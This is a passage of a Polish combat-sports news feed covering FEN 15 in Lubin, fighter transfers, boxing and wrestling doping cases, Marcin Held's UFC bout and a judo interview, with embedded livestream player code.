Konkurencja na rynku kickboxerskim jest coraz większa, a więc każda z organizacji chce mieć w swoich szeregach czołowych zawodników. Bez wątpienia takim jest Radosław Paczuski, który do niedawna występował na galach DSF Kickboxing Challenge. W kwietniu ubiegłego roku zawodnik Unig Fight Club sięgnął po pas mistrzowski organizacji w wadze 81kg pokonując niejednogłośnie na punkty Pawła Gierzyńskiego. Był jedną z najbardziej rozpoznawalnych twarzy DSF. Miał rywalizować w grudniu, jednak wybrał start na gali K-1 Global. Ostatecznie nie zaprezentował się w Bośni i Hercegowinie.

Podczas gali FEN 15 w Lubinie władze federacji poinformowały o związaniu się z Radkiem Paczuskim. Głos w sprawie postanowiła zabrać organizacja DSF. – Zawodnik dostał od DSF lukratywną ofertę na walkę wieczoru w obronie pasa w kategorii wagowej -81 kg. na gali, która odbędzie się 31 marca w hali Koło w Warszawie. W piątek 13 stycznia w okolicach godziny 22, poinformował Roberta Złotkowskiego, odpowiadającego za kartę walk, że oferty nie przyjmie i przechodzi do innej federacji. Zawodnik nie zdobył się na poinformowanie o wszystkim prezesa, Sławomira Duby.

Przypomnijmy, że Paczuski miał walczyć 16 grudnia na gali Najlepsi Z Najlepszych w restauracji Champions w Warszawie. Federacja, nie chcąc blokować zawodnika, wyraziła zgodę na walki w turnieju K-1 World Grand Prix Euro w Bośni i Hercegowinie, który miał się odbyć 3 grudnia. Rozumiejąc argumenty przedstawiane przez braci Paczuskich, że to dla Radka życiowa szansa. W ostatnim momencie Paczuski wycofał się z udziału w obu galach. Nie chciał także brać udziału w żadnych imprezach promujących galę DSFczytamy w oświadczeniu

Powodem zaistniałej sytuacji miały być kłopoty zdrowotne zawodnika. Wobec podpisania przez Paczuskiego umowy z FEN, stracił on pas mistrzowski DSF. – Na spotkaniu w siedzibie federacji zawodnik poinformował o problemach zdrowotnych – kardiologicznych. Dzięki ścisłej współpracy DSF z partnerem Centrum Medycyny Sportowej przy ul. Wawelskiej 5 w Warszawie, Paczuski natychmiast przeszedł kompleksowe badania pod opieką najlepszych specjalistów CMS. Szczegółowe badania nic nie wykazały. Zawodnik był zainteresowany dalszą współpracą z federacją DSF Kickboxing Challenge, o czym otwarcie mówił w rozmowach z zarządem. Jednocześnie ze skutkiem natychmiastowym Radosław Paczuski przestaje być mistrzem DSF Kickboxing Challenge w kategorii wagowej -81 kg – informuje DSF.

Debiut za dwa miesiące

Po tym jak FEN straciło Tyberiusza Kowalczyka i Romana Szymańskiego, którzy byli rozpoznawalnymi twarzami organizacji, przyszedł czas na hit transferowy. Debiut Paczuskiego przewidziany jest na marcową galę. 11 marca organizacja odwiedzi Warszawę z wydarzeniem FEN 16 Warsaw Reloaded.

Na arenie pojawi się mocny zawodnik, który ma stać się magnesem dla publiczności. W ubiegłym roku Paczuski zapisał na swoim koncie mistrzostwo świata K-1 Global, które zdobył w Atenach. Z kolei w Mariborze sięgnął po srebro mistrzostwo Europy low kick.

KM

Szpilka poza kartą walk, wraca Masternak

W lutym, po ponad rocznej przerwie, na ringu miał zameldować się Artur Szpilka. Polak nie wystąpi jednak na gali w Alabamie. Na ring wraca Mateusz Masternak, który zaprezentuje się 4 marca w Dzierżoniowie.

Wydawało się, że wszystko jest na dobrej drodze i popularny „Szpila” zmierzy się z Dominikiem Breazealem. Polak wypadł z karty walk i może jedynie bezradnie rozkładać ręce.

Było blisko

W grudniu pojawiły się pierwsze przymiarki do pojedynku Szpilki z Breazealem. Wraz z upływem kolejnych dni wydawało się, że wszystko zmierza w dobrą stronę i 25 lutego w Birmingham obaj wejdą do ringu. Sprawa się nieco skomplikowała. Prawdopodobnie tylko Breazeale wystąpi podczas gali, ale nie wiadomo, kto będzie jego rywalem.

Jak grom z jasnego nieba gruchnęła informacja o tym, że Szpilka nie wystąpi w Birmingham. Bokser nie krył rozczarowania. – Chciałbym przeprosić kibiców, bo wielu z nich kupiło bilety na galę z myślą o moim pojedynku. Czekam na jakieś konkrety na temat następnej walki. Jestem trochę wkur…, bo siedzę tutaj już pół roku, mocno pracuję, a nic z tego nie ma… – nie krył rozczarowania Polak na facebooku.

Pojawiły się doniesienia jakoby Breazeale miał się zmierzyć z… Izuagbe Ugonohem. Polski pięściarz wygrał wszystkie 17 dotychczasowych walk, w tym 14 przed czasem. Ponoć powodem, dla którego nie dojdzie do starcia Amerykanina ze Szpilką jest fakt, że obaj przegrali swoje ostatnie pojedynki.

Po raz ostatni „Szpila” walczył w styczniu 2016 roku, kiedy to w Barclays Center w Nowym Jorku przegrał w dziewiątej rundzie z Deontayem Wilderem. Polak opuszczał ring na noszach. Kibice z niecierpliwością czekają na kolejne starcie polskiego ciężkiego, jednak nie wiadomo, kiedy ono nastąpi.

Warto przypomnieć, że 25 lutego w Alabamie o pas WBC powalczy Andrzej Wawrzyk. Polak stawi czoła prawdziwemu bombardierowi, jakim jest Deontay Wilder. Dla Wawrzyka będzie to drugie podejście do mistrzowskiego tytułu.

Masternak rusza do boju

Mateusz Masternak swoją ostatnią walkę stoczył 2 kwietnia ubiegłego roku. W Krakowie pokonał Erica Fieldsa i od tamtego czasu nie walczył. Wraz z końcem roku wygasła jego umowa z grupą Sauerland Event. 29-letni bokser nie czekał długo na propozycję walki. 4 marca ma pojawić się na gali w Dzierżoniowie organizowanej przez Mariusza Grabowskiego. Szczegóły nie są jeszcze znane.

Popularny „Master” ma za sobą nieudaną walkę z Tony Bellewem o mistrzostwo Europy. Wcześniej przegrał pojedynek o pas WBA interim. Masternak stara się wrócić na właściwe tory i ponownie boksować o najwyższe cele. Czy pierwszy krok ku temu zrobi 4 marca?

KM

LIVE: FEN 15 Final Strike – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 15 Final Strike.

[kod]

FEN 15 Final Strike Ceremonia ważenia

FEN 15 Final Strike Ceremonia ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Czas na trzecie uderzenie

Organizacja Fight Exclusive Night po raz trzeci zawita do Lubina. 14 stycznia głównym daniem wieczorem będzie pojedynek o pas mistrzowski w wadze średniej (77kg) pomiędzy Pawłem Biszczakiem i Wojciechem Wierzbickim. Co jeszcze czeka nas podczas gali FEN 15?

Temperatura rośnie z każdym dniem. Czas płynie nieubłaganie, a w ostatnim tygodniu doszło do kilku zmian w fight cardzie. W Lubinie dojdzie do dwóch pojedynków mistrzowskich. Tym razem kibice zobaczą sześć starć na zasadach MMA i trzy w K-1.

Wreszcie walka o pas

Z pewnością tak pomyślał Paweł Biszczak, któremu raz mistrzowska walka przeszła już koło nosa. 31-letni kickboxer podczas majowej gali FEN 12 miał zmierzyć się z Zakarią Baitarem. Problemy zdrowotne uniemożliwiły występ Biszczaka. Ponownie zaprezentował się w październiku w Katowicach, gdzie pokonał jednogłośną decyzją Tomasza Gromadzkiego. W Lublinie zmierzy się o pas z Wojciechem Wierzbickim, który zastąpił go w starciu z Baitarem. Polak wygrał i zdobył tymczasowy tytuł mistrzowski. Teraz zawodnik, który w 2015 roku wywalczył mistrzostwo Europy WAKO-Pro low kick stanie przed kolejnym wyzwaniem. Głodny Biszczak będzie chciał zdobyć pas i ma tę przewagę, że raz już pokonał Wierzbickiego. Jednak mowa o zamierzchłych czasach. Walka miała miejsce w 2012 roku.

O pas w K-1 65kg powalczą Róża Gumienna i Martina Fendrichova. Polka stała się najbardziej rozpoznawalną kobiecą twarzą organizacji FEN. 27-latka znakomicie radzi sobie w walkach zawodowych. Wygrała wszystkie siedem pojedynków, a trzy podczas występów dla organizacji FEN. 15 stycznia Gumienna stanie przed trudnym zadaniem. Martina Fendrichova to niezwykle mocna zawodniczka, która zdobywała medale mistrzostw świata.

Galę w Lubinie otworzy starcie w K-1 pomiędzy Wojciechem Kozieczko a Mateuszem Dąbrowskim. Dla obu zawodników będzie to debiut w organizacji FEN.

Trochę się pozmieniało

W ostatnich dniach w karcie walk doszło do kilku zmian. Początkowo Marcin Zontek miał rywalizować z Boubacarem Balde. 37-latek występujący w wadze półciężkiej MMA zmierzy się jednak z Riccardo Nosiglią. W porównaniu z Polakiem, doświadczenie Włocha wygląda ubogo, ale nigdy nie przegrał i jest o dziesięć lat młodszy od Zontka.

Nowego rywala poznał Kamil Gniadek. 24-latek miał rywalizować z Michałem Michalskim, jednak ten zgłosił kontuzję. Ostatecznie Gniadek zmierzy się z Vincentem del Guerrą. Francuz ma na koncie ponad 40 zawodowych walk, z których 24 zakończył zwycięsko. W listopadzie ubiegłego roku 26-latek przegrał z Krzysztofem Kułakiem, ale w 2015 roku pokonał innego Polaka – Kacpra Karskiego. Dla utalentowanego Gniadka będzie to trudna przeprawa, ale 22-latek będzie robił wszystko, aby wygrać drugą walkę na FEN.

W wadze średniej Marcin Naruszczka miał rywalizować z Mattem Horwichem, ale Amerykanina zastąpił Filip Tomczak. Przed lubińską publicznością nie zaprezentuje się Michał Miłek. W starciu wagi lekkiej zmierzą się Mateusz Głąb i Leonid Smirnov.

Ciekawie będzie w kategorii półśredniej. Szykują się pojedynki Alberta Odzimkowskiego z Oskarem Somerfeldem oraz Mateusza Rębeckiego z Adama Golonkiewicza. 

KM

LIVE: FEN 15 Final Strike – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 15 Final Strike.

[kod]

FEN 15 Final Strike Trening Medialny

FEN 15 Final Strike Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Kolejna próba Helda

15 stycznia w Talking Stick Arena w Phoenix Marcin Held stoczy swój drugi pojedynek w UFC. Polak zmierzy się ze starym wyjadaczem Joe Lauzonem.

Po udanej przygodzie z Bellatorem polski lekki dostał szansę występów w najlepszej organizacji MMA na świecie, czyli UFC. W debiucie 24-latek musiał przełknąć gorycz porażki. Nadszedł czas, żeby się zrehabilitować, ale czeka go niezwykle trudne zadanie.

Sprawić niespodziankę

Held jest wielką nadzieją polskiego MMA. 24-latek ma ogromny potencjał, co udowodnił podczas swoich występów na galach organizacji Bellator. W 2014 roku zwyciężył w turnieju wagi lekkiej, rok później rywalizował z Willem Brooksem o tytuł mistrzowski. 30-letni Amerykanin wygrał jednogłośnie na punkty, a Polak stoczył jeszcze jedną walkę w Bellatorze i podpisał umowę z UFC. Nie dziwne, że najlepsza organizacja MMA zwróciła uwagę na Polaka, który wygrał sześć walk z rzędu, z czego aż pięć przed czasem. Łącznie ma na koncie 22 triumfy i 5 porażek.

Debiut w UFC nie ułożył się po myśli Marcina Helda. Polski lekki zmierzył się z Diego Sanchezem, który najlepsze lata ma za sobą, jednak w tym przypadku wykorzystał w pełni swoje doświadczenie. Teraz przed Polakiem kolejne wyzwanie. Na UFC Fight Night 103 (15 stycznia) zmierzy się z Joe Lauzonem. 32-letni Amerykanin to niezwykle doświadczony i skuteczny fighter.

Specjalizujący się w brazylijskim jiu-jitsu zawodnik walczy niezwykle efektownie. Aż 15 razy otrzymywał bonusy finansowe od UFC. Z 26 zwycięskich walk aż 18 kończył przez poddanie. Lauzon ma na koncie również 12 porażek. Co ciekawe, w ubiegłym roku Amerykanin uporał się z ostatnim rywalem Helda, czyli Diego Sanchezem. W sierpniu przegrał jednak z Jimem Miller i czeka na kolejną walkę.

Held w pełni gotowy

Polak jest już na miejscu i myśli o starciu. Doskonale zdaje sobie sprawę z klasy rywala, który choć nie wszedł nigdy na szczyt, to jest niezwykle groźny. – Dotarłem już do Phoenix, teraz czeka mnie kilka formalności przed walką – badania, wywiady. Już w niedzielę wyjdę do oktagonu UFC! –  napisał Marcin Held na swoim profilu na facebooku. – Wiem, że walczę z bardzo dobrym przeciwnikiem i nie jestem w tej walce faworytem. Mogę Wam jednak obiecać, że będę robił wszystko by to moje ręce znalazły się w górze. Czuje się dobrze i moje nastawienie jest pozytywne – dodaje.

Ostatnie trzy pojedynki Held walczył na pełnym dystansie. Od pierwszych sekund starcia z Lauzonem Polak musi być czujny, bo Amerykanin jest niebezpieczny. Nie raz kończył swoje walki w pierwszych rundach. – Jestem bardzo zadowolony, że UFC stawia na mojej drodze tak wymagających rywali. Ciesze się, że mogę dostarczać moim fanom tak dużo emocji walcząc z najlepszymi. Jest mi bardzo miło, że tyle osób wyczekuje moich walk i mi kibicuje! Jestem przekonany, że z Joe Lauzonem damy dobrą walkę – przedstawia Held.

KM

FEN 15: zapowiedź walki o pas Biszczak vs Wierzbicki

Paweł Biszczak i Wojciech Wierzbicki to wielcy mistrzowie K-1 – obaj walczą niezwykle efektownie i zabójczo skutecznie, obu w klatkoringu Fight Exclusive Night nikt jeszcze nie zdołał pokonać. Który z nich w sobotę w Lubinie przedłuży zwycięską passę i sięgnie po pas mistrzowski FEN? Zobaczcie zapowiedź walki wieczoru gali FEN 15 Final Strike!

FEN

[kod]

Trzy zmiany w fight cardzie FEN 15 Final Strike

Marcin Naruszczka, Vincent del Guerra i Riccardo Nosiglia to trzej zawodnicy MMA dopisani do karty walk gali FEN 15 Final Strike. Wystąpią oni w zastępstwie za Matta Horwicha, Michała Michalskiego i Boubacara Balde, którzy z powodu kontuzji musieli zrezygnować z walki podczas sobotnich zawodów w lubińskiej hali RCS.

Marcin Naruszczka (33 lata, 183 cm, rekord 17-5-1), którego pierwsza tegoroczna walka w klatkoringu Fight Exclusive Night planowana był podczas marcowej gali FEN 16 Warsaw Reloaded, zastąpi na gali FEN 15 Final Strike Amerykanina Matta Horwicha w starciu MMA wagi średniej z Filipem Tomczakiem. Zawodnik Nastula & Okniński Team jest w znakomitej formie – od października 2015 roku wygrał 5 walk z rzędu, pokonując n.in. Rafała Haratyka i w ostatniej swojej walce jesienią ubiegłego roku broniąc pasa mistrza PLMMA w starciu właśnie z Mattem Horwichem. Chociaż Naruszczka na przygotowania do sobotniej gali ma niewiele czasu, a jego rywal legitymuje się obecnie rekordem czterech walk bez porażki, to jednak doświadczony fighter z Warszawy będzie faworytem pojedynku z młodym reprezentantem MMA Devil Fight Club Poznań.

Francuz Vincent „The Warrior” del Guerra (26 lat, 175 cm, rekord 24-17) szansę występu na gali FEN 15 Final Strike otrzymał „dzięki” zgłoszeniu kontuzji przez Michała Michalskiego, który w sobotę w Lubinie miał skrzyżować rękawice z Kamilem „Undertakerem” Gniadkiem. 26-letni zawodnik z Marsylii mimo młodego wieku ma już na koncie ponad 40 zawodowych walki MMA, z których 24 rozstrzygnął na swoją korzyść – i to dosłownie, ponieważ aż 22 walki wygrał przed czasem (8 nokautów i  14 poddań). W ostatnim roku „The Warrior” mierzył się z takimi mocnymi rywalami, jak Colin Fletcher, John Maguire i Krzysztof Kułak, a w swoim ostatnim występie, w walce wieczoru gali Kombat League Coloseum 4 we Włoszech, pokonał Giuseppe Mancuso. Kamil Gniadek będzie kolejnym młodym, ale bardzo groźnym przeciwnikiem w karierze del Guerry – szczeciński Berserker z 15 już stoczonych walk wygrał 10 i na gali FEN 15 na pewno twardo powalczy o drugie z rzędu zwycięstwo w organizacji FEN.

Włoch Riccardo „Walking Dead” Nosiglia (27 lat, 186 cm, 4-0), którego czeka starcie z niedawnym pretendentem do tytułu mistrza FEN wagi półciężkiej w formule MMA Marcinem Zontkiem, zastąpi na FEN 15 Final Strike innego awizowanego wcześniej obcokrajowca, Francuza Boubacara Balde. Dla zawodnika Shoot Team Padwa będzie to pierwszy występ poza granicami ojczystego kraju – dotychczas walczył dla organizacji Kombat League i Power Nation Fighting Championship, zdobywając w 2014 i 2015 roku tytuł mistrza PNFC w kategorii półciężkiej. Uchodzi za specjalistę od ground and pound – wszystkie swoje zawodowe walki Nosiglia kończył w pierwszych rundach nokautującymi ciosami w parterze.

W innych walkach MMA gali FEN 15 Final Strike zmierzą się m.in. Albert Odzimkowski z Oskarem Somerfeldem oraz Mateusz Rębecki z Adamem Golonkiewiczem. Wydarzeniami gali będą natomiast dwie walki o pas mistrzowski FEN w formule K-1, w których Paweł Biszczak będzie walczył z Wojciechem Wierzbickim, a Róża Gumienna z Czeszką Martiną Fendrichovą.

Bilety na sobotnią galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Doping niejedno ma imię

Michał Cieślak i Nikodem Jeżewski nie schodzą z ust kibiców i ekspertów boksu. Wszystko za sprawą stwierdzenia w ich organizmach obecności niedozwolonych środków. 

Skandale dopingowe stały się niemalże codziennością. Wszyscy starają się uniknąć wpadki, jednak w przypadku kontroli często stają się bezradni. Kładą na szali swoje umiejętności, dokonania, a niekiedy nieskazitelny obraz, bo często przedstawiani są jako wzór do naśladowania.

Nokaut, którego nie było

10 grudnia we Wrocławiu Cieślak i Jeżewski spotkali się w walce, której stawką był pas IBF Baltic i tytuł zawodowego mistrza Polski wagi junior ciężkiej. Pełen emocji pojedynek przyniósł wiele kontrowersji. Początek trzeciej rundy dla Cieślaka, który mocno przycisnął rywala, jednak ten w końcu odpowiedział. Potężny prawy Jeżewski i pięściarz z Radomia znalazł się na deskach. Cieślak wstał i walczył dalej. 27-latek trafił prawym, co zrobiło wrażenie na Jeżewskim, który przyklęknął. Cieślak dołożył jeszcze jeden cios, a sędzia przerwał pojedynek. Obóz Jeżewskiego twierdził, że nie było powodu do zakończenia walki. Z kolei sam bokser liczył na rewanż.

Nikt chyba nie spodziewał się, że kilka tygodni później, walka zostanie przedstawiona w zupełnie innym świetle. Cieślak miał stosować oxandrolon i mesterolon, a Jeżewski oxandrolon i meldonium. Prawdopodobnie obaj zostaną zawieszeni, a walka anulowana.

Dopingowiczów nie brakuje

Doping ma być receptą na sukces, jednak w wielu przypadkach okazuje się strzałem w kolano. Zdarzają się dopingowe wpadki, które należy kwalifikować jako błędy młodości, ale nie brakuje pięściarzy świadomie podejmujących decyzję o stosowanu niedozwolonych substancji. W świecie boksu raz po raz słyszymy o kolejnych dopingowiczach.

Pod nadmiarem kurzu, gdzieś w zapomnieniu znajduje się wspomnienie o wpadce Witalija Kliczki. Ukrainiec został przyłapany na stosowaniu dopingu w 1996 roku, przez co nie pojechał na Igrzyska Olimpijskie w Atlancie. Ze wspomagania korzystał również Erik Morales. W 2012 roku przegrał z Danny'm Garcią, a w jego organizmie wykryto clenbuterol. Morales został zawieszony na dwa lata. W 2012 roku Lamont Peterson szykował się do walki z Amirem Khanem w obronie pasów WBA i IBF, ale do starcia nie doszło. Amerykanina przyłapano na dopingu i stracił licencję w stanie Nevada.

Z powodu problemów dopingowych tytuły mistrzowskie w wadze ciężkiej oddał Tyson Fury. Brytyjczyk nie udźwignął ciężaru sukcesu i pogrążył się stosowaniem używek. Dopingowy problem towarzyszy również Aleksandrowi Powietkinowi. W kwietniu ubiegłego roku Rosjanina przebadano na obecność niedozwolonych środków. Pozytywny wynik przekreślił szanse Powietkina na walkę o pas WBC z Deontayem Wilderem. Kilka miesięcy później nastąpiła powtórka. W organizmie boksera wykryto ostarynę, co sprawiło, że nie doszło do pojedynku Powietkina z Bermane Stivernem.

Nie brakuje również polskich bokserów, którzy stosowali doping. W 2010 roku w Schwerinie w organizmie Macieja Zegana wykryto clenbuterol, pi oksandrilon oraz stymulany z grupy S6. Polaka zdyskwalifikowano na dwa lata. Mariusz Wach dostąpił zaszczytu rywalizacji o panowanie w wadze ciężkiej. Wytrwał cały dystans w ringu z Władimirem Kliczko, jednak okazało się, że brał winstrol. W efekcie Wach musiał udać się na ośmiomiesięczny odpoczynek. Dopingową wpadkę zaliczył również Michał Syrowatka, który tłumaczył, że metyloheksanamina zawarta jest w niektórych odżywkach. Nie wybronił się przed sześciomiesięczną dyskwalifikacją. 

fot. pixabay

KM

Pogorzelec: Jesteśmy wzorową drużyną

Najważniejszym zeszłorocznym startem dla Darii Pogorzelec (78kg) były Igrzyska Olimpijskie w Rio de Janeiro. 26-latka jechała do Brazylii z nadziejami, jednak odpadła w 1/8 finału. Reprezentantka Polski w judo opowiada nam o zeszłorocznych doświadczeniach i najbliższych planach.

Pogorzelec jest mocnym punktem polskiej kadry. Zawodniczka urodzona w Gdańsku nie raz imponowała na arenie międzynarodowej i wygrywała prestiżowe zawody. W ostatnim czasie musi stosować się do rad lekarzy, aby doprowadzić do pełnej sprawności kontuzjowane kolano.

Myśli o trzecich igrzyskach

Daria Pogorzelec była o krok od medalu Igrzysk Olimpijskich, ale nie tych ostatnich w Rio de Janeiro, lecz w 2012 roku w Londynie. Polka mocnym akcentem rozpoczęła rywalizację. W pierwszym starciu w Londynie wyeliminowała Anamari Velensek, która jest czołową judoczką świata. Wystarczy przypomnieć, że w tym roku zdobyła brąz w Rio, a cztery lata temu miała na swoim koncie medale mistrzostw Europy. Co do startu Pogorzelec w Londynie, ta zmierzała w stronę olimpijskiego podium, jednak w ćwierćfinale powstrzymała ją Mayra Aguiar. Następnie lepsza okazała się Abigail Joo. Kilka miesięcy przed igrzyskami zerwała więzadła krzyżowe.

Historia lubi się powtarzać. Przed Rio Pogorzelec miała problemy z kolanem, ale tym razem nie zanotowała tak dobrego startu. Odpadła w 1/8 finału, jednak zdobyła kolejne cenne doświadczenie. Za 3,5 roku Igrzyska Olimpijskie w Tokio. Czyżby do trzech razy sztuka? – Igrzyska to impreza jedyna w swoim rodzaju i towarzyszą jej skrajne emocje. Po Londynie była to satysfakcja, po Rio rozczarowanie, a teraz z uśmiechem przygotowuję się do Tokio 2020 – podaje Daria Pogorzelec.

Do igrzysk sporo czasu, a po drodze nie brakuje prestiżowych imprez. 26-letnia judoczka liczy, że zdrowie jej dopisze i będzie mogła wystąpić w kluczowych zawodach. – Wszystko zależy od tego, co lekarze orzekną w sprawie mojego kolana. Jeżeli będę mogła, chciałabym się zaprezentować na mistrzostwach Europy, które odbędą w Polsce i zawojować kilka Pucharów Europy i Świata – wyjaśnia 26-letnia judoczka.

Drużyna marzeń

Bardzo dobrze prezentuje się kadra kobiet, która pod okiem Anety Szczepańskiej święci kolejne sukcesy. W ubiegłym roku biało-czerwone wywalczyły mistrzostwo Europy, zaś w sierpniu 2015 roku sięgnęły po wicemistrzostwo świata. W obu przypadkach ważnym punktem drużyny była Pogorzelec. – Jesteśmy wzorową drużyną, zgraną, zmotywowaną, wspierającą się. Podobno drużynówka ma być włączona do programu Igrzysk, byłaby to dla nas duża szansa, a tym czasem niedługo będzie okazja obronić tytuł drużynowych mistrzyń Europy – prezentuje medalistka mistrzostw świata i Europy w drużynie.

Sukcesy naszej reprezentacji mogą przełożyć się na wzrost popularności judo. – Judo w Polsce jest z roku na rok coraz popularniejsze. Nie liczyłabym na jakiś większy przełom, raczej na tendencję wzrostową. Jeżeli będziemy potwierdzać na zawodach wysoki poziom i toczyć piękne zwycięskie walki, grono pasjonatów będzie się sukcesywnie powiększać – prezentuje Pogorzelec.

Fot. PZJudo

KM

Senator wstępnie dogadany

Starcie Manny Pacquiao z mistrzem WBC i WBO wagi super lekkiej Terencem Crawfordem jest coraz mniej realne. Filipiński bokser porozumiał się wstępnie  z Jeffem Hornem. Warto również wspomnieć, że szykuje się wielki powrót. 21 stycznia Zab Judah pojawi się w ringu po raz 52.

O popularnym „Pacmanie” w ostatnich dniach jest niezwykle głośno. Nadal trwają poszukiwania kolejnego rywala 38-latka. Bob Arum, promotor Pacquiao wyjawił, że Filipińczyk gotowy jest zmierzyć się z Jeffem Hornem.

Starcie niższej wagi

Kilka dni temu informowaliśmy, że prowadzone są przymiarki do zorganizowania pojedynku Pacquiao z Terencem Crawfordem. Kwestia ta była jednak na wstępnym etapie i obracała się raczej w obszarze dywagacji. Głos w sprawie zabrali doradcy Pacquiao, którzy otwarcie mówili, że ich klient za ów pojedynek chciałby 20 milionów dolarów. W końcu przyszłoby mu się zmierzyć z mistrzem WBC i WBO. Starcie z 29-letnim Crawfordem byłoby ogromnym wyzwaniem dla doświadczonego Filipińczyka, a zarazem „Pacman” postawiłby na szali cały swój dorobek.

Sytuacja rozwija się błyskawicznie, ale starcie z Crawfordem wydaje się odległe. Pacquiao chce dalej rywalizować w ringu, ale zdaje się, że mierzy siły na zamiary. Wśród potencjalnych rywali boksera, który zdobywał mistrzowskie tytuły w ośmiu kategoriach wagowych wymieniano również nazwisko Ricky'ego Burnsa. 33-letni Brytyjczyk to mistrz świata WBA wagi super lekkiej. Burns ma na koncie 41 zwycięstw i 5 porażek, jednak nie jest najpoważniejszym kandydatem na rywala „Pacmana”.

Wydaje się, że obecnie najwyżej stoją akcje Jeffa Horna. Ponoć Pacquaio zaakceptował wstępne warunki walki z pięściarzem z Australii. Filipińczyk miał zgodzić się na obniżkę gaży, gdyż walczyłby blisko domu, co byłoby szansą na obecność jego kibiców. – Manny widział kilka walk Horna i uważa, że starcie z nim byłoby dla niego wyzwaniem – powiedział Bob Arum, promotor „Pacmana”.

Horn występuje w wadze półśredniej. 28-latek stoczył dotychczas 17 walk, z których 16 wygrał i jedną zremisował. 10 grudnia w Auckland rozprawił się z Alim Funaką w starciu i interkontynentalny pas WBO.

Powrót

Zdobywał tytuły w wadze lekkopółśredniej i półśredniej. Po raz ostatni Zab Judah cieszył się z wywalczenia mistrzowskiego pasa w marcu 2011, kiedy pokonał Kaizera Mabuzę. Tytuł IBF stracił w kolejnym starciu. Jego pogromcą okazał się Amir Khan. Amerykanin stoczył jeszcze trzy pojedynki, z których wygrał tylko jeden. Po raz ostatni pojawił się w ringu w grudniu 2013 roku, kiedy to przegrał na punkty z Paulem Malignaggim.

21 stycznia 39-letni pięściarz planuje stoczyć kolejną walkę. Rywalem Judaha będzie Jorge Luis Munguia, który w ostatnich pięciu starciach zanotował tylko jedno zwycięstwo.

KM

Dąbrowski zamiast Jankowskiego na gali FEN 16 Final Strike

Eliasz Jankowski z powodu kontuzji nie zadebiutuje 14 stycznia w klatkoringu Fight Exclusive Night. Zamiast niego na gali FEN 15 Final Strike w Lubinie z utalentowanym Wojciechem Kazieczko zmierzy się mistrz świata K-1 Global i zdobywca Pucharu Świata WAKO w K-1, niepokonany na zawodowych arenach Mateusz Dąbrowski.

26-letni Mateusz Dąbrowski to kolejny podopieczny doświadczonego trenera Zbigniewa Prycha, który ma na swoim koncie wiele znakomitych osiągnięć. Przynależność do ścisłej krajowej czołówki potwierdził, dwukrotnie zdobywając tytuł mistrza Polski (w jednym z finałów pokonał weterana polskiego kickboxingu Jarosława Daschke). Zawodnik TKKF Olimp Legnica doskonale spisuje się również na międzynarodowych zawodach – w 2014 roku z Londynu przywiózł złoty medal mistrzostw świata federacji K-1 Global, a w 2015 roku w Insbrucku sięgnął po Puchar Świata WAKO w K-1. Zawodową karierę rozpoczął bardzo udanie – wygrał wszystkie trzy stoczone dotąd walki i zapowiada, że w debiucie w organizacji FEN dopisze do swego rekordu kolejne zwycięstwo.

Plany fightera z Legnicy spróbuje pokrzyżować inny debiutant w klatkoringu Fight Exclusive Night, zaledwie 19-letni Wojciech Kazieczko, jeden z najbardziej obiecujących polskich kickbokserów młodego pokolenia. Zawodnik Funfit Boxing Team Zielona Góra zwrócił na siebie uwagę, kiedy na ubiegłorocznych seniorskich mistrzostwach Polski w K-1 Rules zdobył tytuł wicemistrzowski, w drodze do finału nokautując wszystkich rywali. Wcześniej wywalczył także srebrny medal mistrzostw Europy juniorów w K-1 oraz tytuły mistrza Polski juniorów w formułach kick light, full contact i K-1. Wychowanek duetu trenerskiego Jakub Kozera i Patryk Proszek stoczył dotychczas dwie walki zawodowe – obie pewnie wygrał, pierwszą z nich przez nokaut, drugą na punkty.

W fight cardzie gali w lubińskiej hali RCS oprócz pojedynku Wojciecha Kazieczki z Mateuszem Dąbrowskim są jeszcze dwie inne walki w formule K-1, których stawką będą pasy mistrzowskie federacji FEN – w walce wieczoru o pas walczyć będą Paweł Biszczak i Wojciech Wierzbicki, a nieco wcześniej zmierzą się Róża Gumienna i Czeszka Martina Fendrichova. Kibiców czeka również sześć walk na zasadach MMA, w których wystąpią m.in. Albert Odzimkowski, Marcin Zontek, Kamil Gniadek, Oskar Somerfeld, Mateusz Rębecki oraz Adam Golonkiewicz.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

 

Cztery lata kary za doping

Zapaśnicy Bashir Asgari Babajanzadeh i Zubair Dibirov zostali zawieszeni na cztery lata za stosowanie niedozwolonych środków. 

Doping stał się chorobą sportu. Kibice i obserwatorzy łapią się za głowy, gdy na jaw wychodzą afery z udziałem kolejnych gwiazd. Doping również obecny jest w sportach walki. Tym razem cień padł na zapasy za sprawą zawodników z Azji Zachodniej.

Dotkliwa kara

